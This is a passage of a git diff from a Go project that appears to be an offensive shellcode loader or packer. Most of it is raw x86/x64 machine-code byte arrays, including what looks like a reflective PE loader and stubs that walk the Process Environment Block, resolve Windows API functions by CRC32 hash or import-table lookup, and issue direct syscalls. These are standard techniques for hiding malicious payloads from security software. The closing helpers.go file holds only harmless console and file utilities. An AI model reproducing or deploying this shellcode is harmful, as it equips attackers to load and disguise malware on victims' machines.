0x00, 0x00, 0x85, 0xc0, 0x74, 0x75, 0x89, 0xc0, 0x49, + 0x8d, 0x0c, 0x01, 0x4d, 0x89, 0xca, 0x4c, 0x2b, 0x52, 0x30, 0x83, 0x39, + 0x00, 0x75, 0x4a, 0xb9, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x5c, 0x8b, 0x11, + 0x44, 0x0f, 0xb7, 0x00, 0x41, 0x81, 0xe0, 0xff, 0x0f, 0x00, 0x00, 0x4c, + 0x01, 0xc2, 0x4d, 0x01, 0x14, 0x11, 0x48, 0x83, 0xc0, 0x02, 0x8b, 0x51, + 0x04, 0x48, 0x01, 0xca, 0x48, 0x39, 0xd0, 0x74, 0x18, 0x0f, 0xb6, 0x50, + 0x01, 0x41, 0x89, 0xd0, 0x41, 0x83, 0xe0, 0xf0, 0x41, 0x80, 0xf8, 0xa0, + 0x74, 0xcc, 0x80, 0xfa, 0x0f, 0x76, 0xdb, 0xeb, 0xd9, 0x48, 0x89, 0xc1, + 0x83, 0x39, 0x00, 0x74, 0x14, 0x48, 0x8d, 0x41, 0x08, 0x8b, 0x51, 0x04, + 0x48, 0x01, 0xca, 0x48, 0x39, 0xd0, 0x75, 0xd1, 0x48, 0x89, 0xd1, 0xeb, + 0xe7, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x89, 0xc8, 0xc3, 0x41, 0x54, 0x55, + 0x57, 0x56, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x89, 0xcd, 0x48, 0x63, + 0x41, 0x3c, 0x8b, 0x84, 0x01, 0x90, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, + 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xb0, 0x00, 0x00, 0x00, 0x89, 0xc0, + 0x4c, 0x8d, 0x24, 0x01, 0x41, 0x8b, 0x4c, 0x24, 0x0c, 0x85, 0xc9, 0x75, + 0x6a, 0xba, 0x01, 0x00, 0x00, 0x00, 0xe9, 0x97, 0x00, 0x00, 0x00, 0xba, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x97, 0x00, 0x00, 0x00, + 0x48, 0x85, 0xc0, 0x74, 0x03, 0x48, 0x89, 0x06, 0x48, 0x83, 0xc3, 0x08, + 0x48, 0x83, 0xc6, 0x08, 0x4c, 0x8b, 0x03, 0x4d, 0x85, 0xc0, 0x74, 0x2e, + 0x4d, 0x85, 0xc0, 0x78, 0xd6, 0x4a, 0x8d, 0x4c, 0x05, 0x02, 0xba, 0x00, + 0x00, 0x00, 0x00, 0xe8, 0xde, 0xfc, 0xff, 0xff, 0x89, 0xc2, 0x41, 0xb8, + 0xff, 0xff, 0xff, 0xff, 0x48, 0x89, 0xf9, 0xe8, 0x5b, 0x00, 0x00, 0x00, + 0x48, 0x85, 0xc0, 0x74, 0xc7, 0x48, 0x89, 0x06, 0xeb, 0xc2, 0x49, 0x83, + 0xc4, 0x14, 0x41, 0x8b, 0x4c, 0x24, 0x0c, 0x85, 0xc9, 0x74, 0x2b, 0x89, + 0xc9, 0x48, 0x01, 0xe9, 0xe8, 0xd2, 0xfd, 0xff, 0xff, 0x48, 0x89, 0xc7, + 0x48, 0x85, 0xc0, 0x74, 0x20, 0x41, 0x8b, 0x1c, 0x24, 0x48, 0x01, 0xeb, + 0x41, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x01, 0xee, 0x4c, 0x8b, 0x03, 0x4d, + 0x85, 0xc0, 0x75, 0x9c, 0xeb, 0xc8, 0xba, 0x01, 0x00, 0x00, 0x00, 0xeb, + 0x05, 0xba, 0x00, 0x00, 0x00, 0x00, 0x89, 0xd0, 0x48, 0x83, 0xc4, 0x20, + 0x5b, 0x5e, 0x5f, 0x5d, 0x41, 0x5c, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, + 0x55, 0x41, 0x54, 0x55, 0x57, 0x56, 0x53, 0x48, 0x81, 0xec, 0x58, 0x02, + 0x00, 0x00, 0x48, 0x89, 0xcb, 0x41, 0x89, 0xd5, 0x44, 0x89, 0xc5, 0x48, + 0x63, 0x41, 0x3c, 0x48, 0x01, 0xc8, 0x8b, 0xb0, 0x88, 0x00, 0x00, 0x00, + 0x48, 0x01, 0xce, 0x8b, 0x80, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, + 0x2c, 0x44, 0x8b, 0x66, 0x20, 0x44, 0x8b, 0x76, 0x1c, 0x44, 0x8b, 0x7e, + 0x24, 0x8b, 0x46, 0x18, 0x85, 0xc0, 0x0f, 0x84, 0x97, 0x01, 0x00, 0x00, + 0x89, 0xc0, 0x48, 0x89, 0x44, 0x24, 0x20, 0xbf, 0x00, 0x00, 0x00, 0x00, + 0x49, 0x01, 0xcc, 0x41, 0x8b, 0x0c, 0xbc, 0x48, 0x01, 0xd9, 0xba, 0x00, + 0x00, 0x00, 0x00, 0xe8, 0x06, 0xfc, 0xff, 0xff, 0x39, 0xfd, 0x74, 0x1a, + 0x44, 0x39, 0xe8, 0x74, 0x15, 0x48, 0x83, 0xc7, 0x01, 0x48, 0x39, 0x7c, + 0x24, 0x20, 0x75, 0xdb, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x2d, 0x01, + 0x00, 0x00, 0x48, 0x8d, 0x04, 0x7b, 0x42, 0x0f, 0xb7, 0x04, 0x38, 0x48, + 0x8d, 0x04, 0x83, 0x42, 0x8b, 0x04, 0x30, 0x48, 0x01, 0xc3, 0x48, 0x39, + 0xf3, 0x0f, 0x82, 0x0d, 0x01, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x2c, 0x48, + 0x01, 0xc6, 0x48, 0x39, 0xf3, 0x0f, 0x83, 0xfd, 0x00, 0x00, 0x00, 0x48, + 0xc7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, + 0x38, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x7c, 0x24, 0x40, 0xb8, 0x00, + 0x00, 0x00, 0x00, 0xb9, 0x1e, 0x00, 0x00, 0x00, 0xf3, 0x48, 0xab, 0xc7, + 0x07, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x84, 0x24, 0x40, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x84, 0x24, 0x48, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0xbc, 0x24, 0x50, 0x01, 0x00, + 0x00, 0xb9, 0x1e, 0x00, 0x00, 0x00, 0xf3, 0x48, 0xab, 0xc7, 0x07, 0x00, + 0x00, 0x00, 0x00, 0x80, 0x3b, 0x2e, 0x0f, 0x84, 0xb3, 0x00, 0x00, 0x00, + 0xb8, 0x01, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x48, 0x83, 0xc0, 0x01, + 0x80, 0x7c, 0x03, 0xff, 0x2e, 0x75, 0xf2, 0x44, 0x89, 0xc6, 0x48, 0x8d, + 0x4c, 0x24, 0x30, 0x48, 0x89, 0xda, 0xe8, 0x27, 0xfb, 0xff, 0xff, 0x8d, + 0x4e, 0x01, 0x48, 0x63, 0xc9, 0x48, 0x01, 0xd9, 0x80, 0x39, 0x00, 0x0f, + 0x84, 0x8e, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x63, + 0xd6, 0x48, 0x01, 0xda, 0x49, 0x89, 0xc0, 0x48, 0x83, 0xc0, 0x01, 0x80, + 0x3c, 0x02, 0x00, 0x75, 0xf3, 0x48, 0x8d, 0x84, 0x24, 0x40, 0x01, 0x00, + 0x00, 0x48, 0x89, 0xca, 0x48, 0x89, 0xc1, 0xe8, 0xea, 0xfa, 0xff, 0xff, + 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, 0x15, 0xfc, 0xff, 0xff, 0x48, 0x89, + 0xc3, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x74, 0x28, 0x48, + 0x8d, 0x8c, 0x24, 0x40, 0x01, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0xd1, 0xfa, 0xff, 0xff, 0x89, 0xc2, 0x41, 0xb8, 0xff, 0xff, 0xff, + 0xff, 0x48, 0x89, 0xd9, 0xe8, 0x4e, 0xfe, 0xff, 0xff, 0x48, 0x89, 0xc3, + 0x48, 0x89, 0xd8, 0x48, 0x81, 0xc4, 0x58, 0x02, 0x00, 0x00, 0x5b, 0x5e, + 0x5f, 0x5d, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0xbe, + 0x00, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x53, + 0xff, 0xff, 0xff, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x82, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0xeb, 0xcd, 0x57, 0x56, 0x53, 0x48, 0x83, 0xec, + 0x20, 0x89, 0xce, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8d, 0x78, 0x20, 0x48, 0x8b, 0x58, 0x20, + 0x48, 0x39, 0xdf, 0x74, 0x2c, 0x0f, 0xb7, 0x53, 0x48, 0x48, 0x8b, 0x4b, + 0x50, 0xe8, 0x58, 0xfa, 0xff, 0xff, 0x39, 0xf0, 0x74, 0x0f, 0x48, 0x8b, + 0x1b, 0x48, 0x39, 0xdf, 0x75, 0xe7, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, + 0x04, 0x48, 0x8b, 0x43, 0x20, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x5e, 0x5f, + 0xc3, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xf1, 0x41, 0x56, 0x41, 0x55, + 0x41, 0x54, 0x55, 0x57, 0x56, 0x53, 0x48, 0x83, 0xec, 0x50, 0x48, 0x89, + 0xcd, 0x48, 0x63, 0x79, 0x3c, 0x48, 0x01, 0xcf, 0x0f, 0xb7, 0x47, 0x14, + 0x48, 0x8d, 0x5c, 0x07, 0x18, 0x48, 0xc7, 0x44, 0x24, 0x48, 0x00, 0x00, + 0x00, 0x00, 0x66, 0x83, 0x7f, 0x06, 0x00, 0x74, 0x69, 0xbe, 0x00, 0x00, + 0x00, 0x00, 0x41, 0xbc, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x74, 0x24, + 0x40, 0x4c, 0x8d, 0x6c, 0x24, 0x48, 0xe9, 0x25, 0x01, 0x00, 0x00, 0xb9, + 0x01, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x60, 0x41, 0xb8, 0x01, + 0x00, 0x00, 0x00, 0x3d, 0x00, 0x00, 0x00, 0x60, 0x41, 0xb9, 0x20, 0x00, + 0x00, 0x00, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x44, 0x0f, 0x45, 0xc8, 0xe9, + 0x8c, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x20, 0x00, 0x00, 0x00, 0xe9, 0x91, + 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x05, 0xb8, 0x01, + 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x50, 0x5b, 0x5e, 0x5f, 0x5d, 0x41, + 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, + 0xea, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x45, 0x89, 0xe0, 0x41, 0xb9, 0x10, + 0x00, 0x00, 0x00, 0xeb, 0x3f, 0x44, 0x89, 0xe1, 0xa9, 0x00, 0x00, 0x00, + 0x20, 0x74, 0x32, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x78, 0x8c, + 0x89, 0xc1, 0xc1, 0xe9, 0x1f, 0x41, 0x89, 0xc8, 0x44, 0x89, 0xe1, 0x41, + 0xb9, 0x10, 0x00, 0x00, 0x00, 0xeb, 0x19, 0xa9, 0x00, 0x00, 0x00, 0x20, + 0x0f, 0x85, 0x69, 0xff, 0xff, 0xff, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x41, + 0xb9, 0x04, 0x00, 0x00, 0x00, 0x45, 0x89, 0xe0, 0x25, 0x00, 0x00, 0x00, + 0x60, 0x3d, 0x00, 0x00, 0x00, 0x60, 0x0f, 0x84, 0x74, 0xff, 0xff, 0xff, + 0x84, 0xc9, 0x74, 0x0c, 0x45, 0x84, 0xc0, 0xb8, 0x40, 0x00, 0x00, 0x00, + 0x44, 0x0f, 0x45, 0xc8, 0x8b, 0x42, 0x0c, 0x48, 0x01, 0xe8, 0x48, 0x89, + 0x44, 0x24, 0x48, 0x8b, 0x42, 0x10, 0x48, 0x89, 0x44, 0x24, 0x40, 0xc7, + 0x44, 0x24, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x3c, + 0x48, 0x89, 0x44, 0x24, 0x20, 0x4d, 0x89, 0xf0, 0x4c, 0x89, 0xea, 0x48, + 0xc7, 0xc1, 0xff, 0xff, 0xff, 0xff, 0x41, 0xba, 0x41, 0x4d, 0xde, 0x6e, + 0xe8, 0xc4, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc2, 0xe8, 0x76, 0x01, 0x00, + 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x22, 0xff, 0xff, 0xff, 0x83, 0xc6, 0x01, + 0x48, 0x83, 0xc3, 0x28, 0x0f, 0xb7, 0x47, 0x06, 0x39, 0xf0, 0x0f, 0x8e, + 0x16, 0xff, 0xff, 0xff, 0x48, 0x89, 0xda, 0x8b, 0x43, 0x24, 0x85, 0xc0, + 0x74, 0xe3, 0x41, 0x89, 0xc1, 0x41, 0xc1, 0xf9, 0x1f, 0x41, 0x83, 0xe1, + 0xc8, 0x41, 0x83, 0xc1, 0x40, 0xa9, 0x00, 0x00, 0x00, 0x40, 0x0f, 0x84, + 0x1d, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x88, 0x3b, 0xff, 0xff, 0xff, + 0xa9, 0x00, 0x00, 0x00, 0x20, 0x0f, 0x85, 0xfa, 0xfe, 0xff, 0xff, 0xb9, + 0x01, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x02, 0x00, 0x00, 0x00, 0xe9, 0x36, + 0xff, 0xff, 0xff, 0x56, 0x53, 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0xce, + 0x48, 0x63, 0x41, 0x3c, 0x8b, 0x84, 0x01, 0xd0, 0x00, 0x00, 0x00, 0xba, + 0x00, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x11, 0x89, 0xc0, 0x48, 0x8b, + 0x5c, 0x01, 0x18, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x75, + 0x1d, 0x89, 0xd0, 0x48, 0x83, 0xc4, 0x28, 0x5b, 0x5e, 0xc3, 0x41, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, + 0xff, 0xd0, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x8b, 0x03, 0x48, 0x85, 0xc0, + 0x75, 0xe4, 0xba, 0x01, 0x00, 0x00, 0x00, 0xeb, 0xd4, 0x41, 0x51, 0x41, + 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, + 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, + 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, + 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xf2, 0x44, 0x0f, 0x38, 0xf0, 0xc8, + 0xe2, 0xee, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, + 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x65, 0x8b, + 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x5a, 0x48, 0x01, + 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, + 0xe3, 0x49, 0x4c, 0x8b, 0x4c, 0x24, 0x08, 0x48, 0xff, 0xc9, 0x41, 0x8b, + 0x34, 0x88, 0x48, 0x01, 0xd6, 0x48, 0x31, 0xc0, 0xac, 0xf2, 0x44, 0x0f, + 0x38, 0xf0, 0xc8, 0x38, 0xe0, 0x75, 0xf2, 0x45, 0x39, 0xd1, 0x75, 0xdc, + 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, + 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, + 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, + 0x41, 0x59, 0xc3, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x5d, + 0xff, 0xff, 0xff, 0xe8, 0x14, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, + 0x06, 0x49, 0x89, 0xca, 0x0f, 0x05, 0xc3, 0x4d, 0x31, 0xd2, 0x49, 0xff, + 0xca, 0x41, 0x53, 0xc3, 0x51, 0x55, 0x48, 0x89, 0xe5, 0x4c, 0x89, 0xd1, + 0x41, 0x52, 0x49, 0x83, 0xc2, 0x64, 0x4c, 0x39, 0xd1, 0x7f, 0x2a, 0x8b, + 0x01, 0xc1, 0xe0, 0x08, 0x3d, 0x00, 0x0f, 0x05, 0xc3, 0x74, 0x05, 0x48, + 0xff, 0xc1, 0xeb, 0xea, 0x41, 0x5a, 0x4c, 0x39, 0xd1, 0x7c, 0x12, 0x48, + 0x8b, 0x01, 0x3d, 0x4c, 0x8b, 0xd1, 0xb8, 0x74, 0x02, 0xe2, 0xef, 0x48, + 0xc1, 0xe8, 0x20, 0xeb, 0x03, 0x48, 0x31, 0xc0, 0x48, 0x89, 0xec, 0x5d, + 0x59, 0xc3, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x48, 0x29, 0xf1, 0x48, + 0x83, 0xc1, 0x14, 0x48, 0x89, 0xf7, 0x48, 0x83, 0xef, 0x05, 0xf3, 0xaa, + 0xfc, 0x48, 0x89, 0xec, 0x5d, 0xff, 0xe0, +} + +var CRC_API_64 = []byte{ + 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, + 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, + 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x41, + 0xb9, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, + 0x02, 0x2c, 0x20, 0xf2, 0x44, 0x0f, 0x38, 0xf0, 0xc8, 0xe2, 0xee, 0x52, + 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, + 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x65, 0x8b, 0x80, 0x88, 0x00, + 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x5a, 0x48, 0x01, 0xd0, 0x50, 0x8b, + 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x49, 0x4c, + 0x8b, 0x4c, 0x24, 0x08, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, + 0x01, 0xd6, 0x48, 0x31, 0xc0, 0xac, 0xf2, 0x44, 0x0f, 0x38, 0xf0, 0xc8, + 0x38, 0xe0, 0x75, 0xf2, 0x45, 0x39, 0xd1, 0x75, 0xdc, 0x58, 0x44, 0x8b, + 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, + 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, + 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0xc3, + 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, +} + +var CRC_API_32 = []byte{ + 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, + 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, + 0xbf, 0x00, 0x00, 0x00, 0x00, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, + 0xf2, 0x0f, 0x38, 0xf0, 0xf8, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, + 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x42, 0x01, 0xd1, 0x51, + 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x34, 0x8b, 0x7d, + 0xf8, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0xac, 0xf2, 0x0f, 0x38, 0xf0, + 0xf8, 0x38, 0xe0, 0x75, 0xf6, 0x3b, 0x7d, 0x24, 0x75, 0xe6, 0x58, 0x8b, + 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, + 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, + 0x61, 0xc3, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8e, +} + +var IAT_API_64 = []byte{ + 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, + 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, + 0x8b, 0x52, 0x20, 0x52, 0x66, 0x03, 0x52, 0x3c, 0x8b, 0x92, 0x90, 0x00, + 0x00, 0x00, 0x48, 0x03, 0x14, 0x24, 0x52, 0x48, 0x8b, 0x74, 0x24, 0x08, + 0x48, 0x83, 0xec, 0x10, 0x48, 0x83, 0xea, 0x14, 0x48, 0x83, 0xc2, 0x14, + 0x83, 0x3a, 0x00, 0x0f, 0x84, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x74, + 0x24, 0x10, 0x66, 0x8b, 0x72, 0x0c, 0x48, 0x31, 0xff, 0x48, 0x31, 0xc0, + 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xf2, 0x0f, 0x38, 0xf0, 0xf8, + 0xf2, 0x0f, 0x38, 0xf0, 0xfc, 0x84, 0xc0, 0x75, 0xe8, 0x48, 0x89, 0x54, + 0x24, 0x08, 0x89, 0x3c, 0x24, 0x8b, 0x0a, 0x48, 0x03, 0x4c, 0x24, 0x18, + 0x48, 0x83, 0xe9, 0x08, 0x48, 0x8b, 0x3c, 0x24, 0x48, 0x83, 0xc1, 0x08, + 0x83, 0x39, 0x00, 0x74, 0xaf, 0x8b, 0x31, 0x48, 0x0f, 0xba, 0xf6, 0x3f, + 0x72, 0xea, 0x48, 0x03, 0x74, 0x24, 0x18, 0x48, 0x83, 0xc6, 0x02, 0x48, + 0x31, 0xc0, 0xac, 0xf2, 0x0f, 0x38, 0xf0, 0xf8, 0x38, 0xe0, 0x75, 0xf3, + 0x44, 0x39, 0xd7, 0x75, 0xcf, 0x8b, 0x42, 0x10, 0x8b, 0x12, 0x48, 0x03, + 0x54, 0x24, 0x18, 0x48, 0x29, 0xd1, 0x48, 0x03, 0x44, 0x24, 0x18, 0x48, + 0x01, 0xc8, 0x41, 0x58, 0x41, 0x58, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, + 0x5a, 0x41, 0x58, 0x41, 0x59, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0x83, 0xc4, + 0x48, 0xc3, +} + +var IAT_API_32 = []byte{ + 0x60, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, + 0x14, 0x8b, 0x52, 0x10, 0x52, 0x03, 0x52, 0x3c, 0x8b, 0x92, 0x80, 0x00, + 0x00, 0x00, 0x03, 0x14, 0x24, 0x52, 0x8b, 0x74, 0x24, 0x04, 0x83, 0xec, + 0x08, 0x83, 0xea, 0x14, 0x83, 0xc2, 0x14, 0x83, 0x3a, 0x00, 0x74, 0x77, + 0x8b, 0x74, 0x24, 0x08, 0x66, 0x8b, 0x72, 0x0c, 0x31, 0xff, 0xac, 0x3c, + 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xf2, 0x0f, 0x38, 0xf0, 0xf8, 0xf2, 0x0f, + 0x38, 0xf0, 0xfc, 0x84, 0xc0, 0x75, 0xeb, 0x89, 0x54, 0x24, 0x04, 0x89, + 0x3c, 0x24, 0x8b, 0x0a, 0x03, 0x4c, 0x24, 0x0c, 0x83, 0xe9, 0x04, 0x8b, + 0x3c, 0x24, 0x83, 0xc1, 0x04, 0x83, 0x39, 0x00, 0x74, 0xbe, 0x8b, 0x31, + 0x81, 0xfe, 0x00, 0x00, 0x00, 0x80, 0x79, 0xeb, 0x03, 0x74, 0x24, 0x0c, + 0x83, 0xc6, 0x02, 0xac, 0xf2, 0x0f, 0x38, 0xf0, 0xf8, 0x84, 0xc0, 0x75, + 0xf6, 0x3b, 0x7c, 0x24, 0x34, 0x75, 0xd4, 0x8b, 0x42, 0x10, 0x8b, 0x12, + 0x03, 0x54, 0x24, 0x0c, 0x29, 0xd1, 0x03, 0x44, 0x24, 0x0c, 0x01, 0xc8, + 0x89, 0x44, 0x24, 0x2c, 0x83, 0xc4, 0x10, 0x61, 0x8b, 0x00, 0xc3, 0x83, + 0xc4, 0x0f, 0x61, 0xc3, +} diff --git a/utils/helpers.go b/utils/helpers.go new file mode 100644 index 0000000..c30db8c --- /dev/null +++ b/utils/helpers.go @@ -0,0 +1,78 @@ +package utils + +import ( + "fmt" + "math/rand" + "os" + "runtime" + "strings" + + "github.com/fatih/color" + "github.com/sirupsen/logrus" +) + +func PrintSuccess(formatstr string, a ...interface{}) { + green := color.New(color.FgGreen).Add(color.Bold) + green.Print("[*] ") + fmt.Printf(formatstr, a...) +} + +func PrintStatus(formatstr string, a ...interface{}) { + blue := color.New(color.FgBlue).Add(color.Bold) + blue.Print("[*] ") + fmt.Printf(formatstr, a...) +} + +func PrintWarning(formatstr string, a ...interface{}) { + yellow := color.New(color.FgYellow).Add(color.Bold) + yellow.Print("[*] ") + fmt.Printf(formatstr, a...) +} + +func PrintErr(formatstr string, a ...interface{}) { + red := color.New(color.FgRed).Add(color.Bold) + white := color.New(color.FgWhite).Add(color.Bold) + red.Print("[-] ") + white.Printf(formatstr, a...) +} + +func PrintGreen(formatstr string, a ...interface{}) { + green := color.New(color.FgGreen).Add(color.Bold) + green.Printf(formatstr, a...) +} + +func PrintFatal(err error) { + if err != nil { + pc, _, _, ok := runtime.Caller(1) + details := runtime.FuncForPC(pc) + if ok && details != nil { + logrus.Fatalf("%s: %s\n", strings.ToUpper(strings.Split(details.Name(), ".")[1]), err) + } else { + logrus.Fatal(err) + } + } +} + +// randomString - generates random string of given length +func RandomString(length int) string { + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + random := make([]byte, length) + for i := 0; i < length; i++ { + random[i] = charset[rand.Intn(len(charset))] + } + return string(random) +} + +// GetFileSize retrieves the size of the file with given file path +func GetFileSize(filePath string) (int, error) { + file, err := os.Open(filePath) + if err != nil { + return 0, err + } + defer file.Close() + stat, err := file.Stat() + if err != nil { + return 0, err + } + return int(stat.Size()), nil +}